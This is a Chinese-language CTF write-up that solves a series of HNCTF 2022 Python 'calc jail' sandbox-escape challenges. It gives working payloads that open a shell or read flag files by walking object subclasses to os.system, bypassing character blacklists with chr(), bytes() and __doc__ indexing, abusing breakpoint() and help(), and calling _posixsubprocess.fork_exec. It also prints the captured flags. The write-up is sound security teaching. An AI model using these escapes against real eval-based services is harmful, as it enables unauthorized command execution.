初识沙箱逃逸

[HNCTF 2022 Week1]calc_jail_beginner_level(JAIL 沙箱逃逸)

给了源码

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

什么也没有过滤 并且给了提示 可以使用上面两种payload

这里尝试使用交互式操作

__import__('os').system('sh')

解释一下

__import__('os'):这是一个使用内置函数 __import__ 来导入 Python 模块 os 的代码。os 模块提供了与操作系统交互的功能,例如执行系统命令、文件操作等。

os.system('sh'):在导入了 os 模块后,该代码执行了 os.system('sh')。os.system() 函数是用于执行系统命令的,它接受一个字符串参数,将其中的命令在终端或命令提示符中执行。在这里,它试图执行命令 sh。

sh 是一个常用的 Unix/Linux 命令行解释器(shell),它是命令行的一个交互式解释器,允许用户输入命令并执行。

image-20230730220144872

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL 沙箱逃逸 chr() SSTI注入)

也是给出了源码 但是在其中绕过了单引号、双引号、反斜杠、反引号和i、b两个字母

image-20230730220420343

方法一:

下面使用一种方法:python模板注入 简称SSTI

python中的元组、列表、字典、字符串等都是对象 可以用过__class__这个函数来进行查看 可以看到父类是object 可以说任何类的父类都是object

image-20230731163225243

image-20230731163235565

__base__是返回这个对象所属类的父类 __mro__是以元组的形式返回与该对象所属类相关的所有类 __bases__是以元组的形式返回这个对象

所属类的父类

__subclasses__() 别丢括号这个函数会返回当前吗父类下的所有子类

image-20230731163859985

因此我们可以利用这个函数 查看object类的所有子类 从中找到我们可以利用的类来进行rce(远程命令执行) 当我们想使用具体的类的时候 加上查询结果中对应的下标索引就好

但是在这题中字母b是被ban掉的 因此我们可以使用getattr()和chr()两个函数来进行拼接和执行函数

学习一下getsttr()函数:

描述:

getsttr()用于返回一个对象属性值

参数:

getattr(object, name[, default])

参数:

  • object – 对象。
  • name – 字符串,对象属性。
  • default – 默认返回值,如果不提供该参数,在没有对应属性时,将触发 AttributeError。

我们可以使用chr(hex)替换掉被ban掉的字母 这样就可以组成我们需要的函数 getattr()函数可以帮助我们实现运行使用chr()替换的函数

下面是对于().__class__.__base__.__subclasses__() 使用chr()和getattr()函数的渐变过程

注意在转化的时候 单引号需要进行省略

getattr(().__class__, '__base__').__subclasses__()

getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()

getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

我们尝试在题目环境中输入这段命令 查看返回的object父类中包含的所有子类

Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

在下标索引为-4的位置看到了<class 'os._wrap_close'> 可以构造payload

().__class__.__base__.__subclasses__()[-4].__init__.__global__['sysytem']('sh')

整体转换一下

getattr(getattr(getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))

进入sh交互模式 找到flag

image-20230731172455253

NSSCTF{aeb2432a-8fdd-4c36-81d6-8a60bf3d8212}

方法二:

__builtins__模块用于查看python内部的内置变量和内置函数

__builtins__是对builtins的引用 在任何地方使用builtins都必须import 但是使用__builtins__不需要使用import

写出payload

__builtins__.__import__('os').system('cat flag')

调用了os模块的system函数(用于在操作系统的 shell 中执行命令。它接收一个字符串参数 command,表示要执行的系统命令,然后将该命令传递给操作系统的 shell 进行执行) 执行cat flag命令 直接读取flag文件的值

在这之前还要通过input()函数 输入上述payload 因为环境ban掉了字母i 因此我们还是使用chr()函数 替换掉input()函数

eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
# eval(exec(input()))
'''
exec()的作用
动态执行代码:exec() 允许在程序运行时根据需要执行动态生成的 Python 代码。这对于动态创建函数、类、变量等非常有用。

动态导入模块:使用 exec() 可以实现在运行时动态导入模块,而不是在代码中固定导入。

执行用户输入的代码:exec() 可以用于执行用户输入的 Python 代码,允许在程序运行时根据用户的输入执行相应的操作。

脚本执行:有时候,你可能希望从文件或网络获取一段 Python 代码,并在程序中执行它。exec() 允许你动态地执行从外部来源获取的代码。
'''

当然这个payload的前提是 知道flag文件的位置和名字

方法三

同样 在知道flag的位置和名字的时候 我们可以直接open并read到flag

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
# open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL 参数逃逸)

这一关是限制了输入命令的长度为13个字符 13个字符 正好eval(input())

这样我们在想输入什么命令就没有限制了

image-20230731201557462

NSSCTF{c6bdf2aa-f85f-49cf-ac71-b892ad007a47}

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL breakpoint())

这次是直接限制了exec eval input 同时payload的长度限制在了13位

image-20230731202239224

这里使用一个叫做breakpoint()的函数 可以进入一个Pdb交互界面

pdb 模块定义了一个交互式源代码调试器,用于Python 程序。 它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python 代码。 它还支持事后调试,可以在程序控制下调用。 调试器是可扩展的——调试器实际被定义为 Pdb 类。

之后在输入__import__('os').system('sh')就可以进入shell了

image-20230731203228696

得到flag:NSSCTF{69432ccf-eb26-4236-a1f0-a78b02a8ae71}

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL help())

这关相比level2 限制的字数更少 payload不能超过7个字符

image-20230731204432274

这边是使用help()函数进行rce

输入help()之后也会进入一个交互界面

image-20230731213412627

按照上面提到的方式 先输入modules 查看所有的模块 随便选一个输入 比如看到的os

modules
os
!ls
!cat flag

image-20230731213810206

image-20230731213823579

image-20230731214138100

image-20230731214206969

NSSCTF{4e28ebac-4a64-4205-8853-b49286703415}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL、bytes([]).decode() 、__doc__)

查看源码

image-20230801201356423

'__loader__', '__import__', 'compile', 'eval', 'exec', 'chr'等函数都ban掉了 后面又将单引号、双引号、反斜杠、反引号给ban了

因为ban掉了__import__之前提到的help()和breakpoint()都没有办法使用 但是并没有ban掉其余的字母

方法一:

尝试使用之前的SSTI注入 先查询object类下的子类 查看可以使用的模块

().__class__.__base__.__subclasses__()

image-20230801223643348

并没有过滤模块 os模块还可以使用 虽然禁用了chr()函数 但是bytes()函数也可以构造字符串 下面是转化过程:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

转化为

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

image-20230801225100070

方法二:

同样是使用bytes()函数 猜测flag文件的位置和名字 可以直接对 open('flag').read()进行转化 直接读取flag

open(bytes([102,108,97,103]).decode()).read()

image-20230801225252004

方法三:

像一些默认类,如:str、dict、list等,都会有相应的文档。这时可以直接从__doc__里面去找,用索引的方式获得想要的字符,并拼接再一起,得到想要的字符串。

在这里 我们使用列表这个类来查找字符

print([].__doc__)

'''
输出:
Built-in mutable sequence.

If no argument is given, the constructor creates a new empty list.
The argument must be an iterable if specified.
'''

使用find命令查找字符下标

print([].__doc__.find('s'))
'''
输出:
17
'''

那么可以使用下标进行拼接system和sh函数

# system
[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]
# sh
[].__doc__[17]+[].__doc__[54]

下面是转换过程

().__class__.__base__.subclasses__()[-4].__init__.__globals__['system'].('sh')

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])

image-20230801231059013

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

image-20230804204635253

在题干处给出ban掉了__loader__,__import__,compile,eval,exec,chr,input,locals,globals and ,”,’ `

同level4 三种方法任选其一即可

NSSCTF{58d8ebf7-2162-4bdb-a2a6-98515e0871bc}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL 下标索引 bytes())

在题干处给出提示 ban掉了__loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and,”,’`

与上两题不同 这次将bytes也ban掉了 第二种和第一种方法就没法使用了

但是第三种方法还是可以使用的

这里仿照第一种方法的形式 先查看object下的所有子类 发现bytes的下标索引是6 因此可以进行利用

image-20230804220530811

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

转化为

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())

image-20230804221050269

NSSCTF{006582c3-2430-49d8-9cee-b631c7aed4dc}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)

同level4.1

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())

image-20230804225030885

NSSCTF{ab748a53-bafc-41cb-bb20-b22b025fdb8e}

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL str().join拼接字符)

这里看题干知道 除了ban掉上一题的内容还ban掉了+ 其实使用上一题的payload是完全没问题的

禁用+ 但是我们还可以使用john()函数进行拼接

''.join(['s', 'y', 's', 't', 'e', 'm'])

这样就能得到system 但是双引号也被ban掉了 我们可以使用str()这个函数 就相当于一个双引号

str().join(['s', 'y', 's', 't', 'e', 'm'])

由此可以得到payload

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([[].__doc__[17],[].__doc__[87],[].__doc__[17],[].__doc__[4],[].__doc__[15],[].__doc__[9]])](str().join([[].__doc__[17],[].__doc__[54]]))

image-20230805221344148

NSSCTF{b13441a1-e6e1-4ab0-968c-f80170f5925f}

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(dir())

并没有ban掉什么内容 提示flag在dir()里面

image-20230805131907416

其实直接使用最开始的SSTI注入 就可以直接进入交互模式

().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')

或者直接进行rce

__import__('os').system('cat flag')

但是这里我们选择使用dir()来解决题目

image-20230805134401775

image-20230805134321794

image-20230805134347519

发现encode函数可以使用

my_flag.flag_level5.encode()

image-20230805135450313

来看一下源码

image-20230805140540826

[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1

同level5 只是这次有了一些黑名单的过滤

image-20230805135908651

可以使用SSTI注入进入交互模式 也可以直接使用dir()拿到flag

NSSCTF{6e6ce512-08e0-4792-9d14-cb41370382b2}

[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL _posixsubprocess.fork_exec lamba表达式)

这次是给出了白名单 只有在白名单中的函数才可以使用 builtins.input,builtins.input/result,exec,compile

image-20230805171210883

方法一:

这里需要使用_posixsubprocess.fork_exec

首先将_posixsubprocess类导进去 import使用不了 但是__builtins__还是可以使用的

__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')

下面是完整的payload

import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

进入shell界面 读取flag就好(虽然会在shell和python界面来回切换)

image-20230805172325862

NSSCTF{a7586393-169d-4daf-abcf-db107c89c33a}

方法二:

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")

[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(海象运算符、列表、无限迭代器)

给了部分源码

image-20230805200804050

这次只能进行一次代码执行操作 使用到一个运算符海象运算符

:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

上一步就是实现level6的payload 先导入os模块 再导入_posixsubprocess模块 在使用_posixsubprocess模块

但是shell只显示一次shell 就退掉了 因此要使用无线迭代器itertools

[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

输入payload之后 会不停的重放/bin/sh 说是无限迭代器 但其实也有次数 手速要快 输入 ls cat flag 即可得到flag

image-20230805213426632

NSSCTF{0047e0c3-4c98-4795-aa7f-6e522649c3d6}

[HNCTF 2022 WEEK3]calc_jail_beginner_level7(函数装饰器、类的定义)

给了一个窗口 先查看黑名单

image-20230805214036074

输入E 可以输入多行命令 但是要求结尾必须是--HNCTF

image-20230805214119619

这时候可以使用函数装饰器@ 和类的定义

@exec
@input
class A: pass

前两个是函数装饰器: 把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数

后面是类定义 这里的pass主要作用是占据位置 让代码整体完整 定义空类会报错

成功进入main函数主体 在执行命令 进入shell即可

__import__('os').system('sh')

读到flag

image-20230805221429156

下面是源码

image-20230805215144009

image-20230805215207054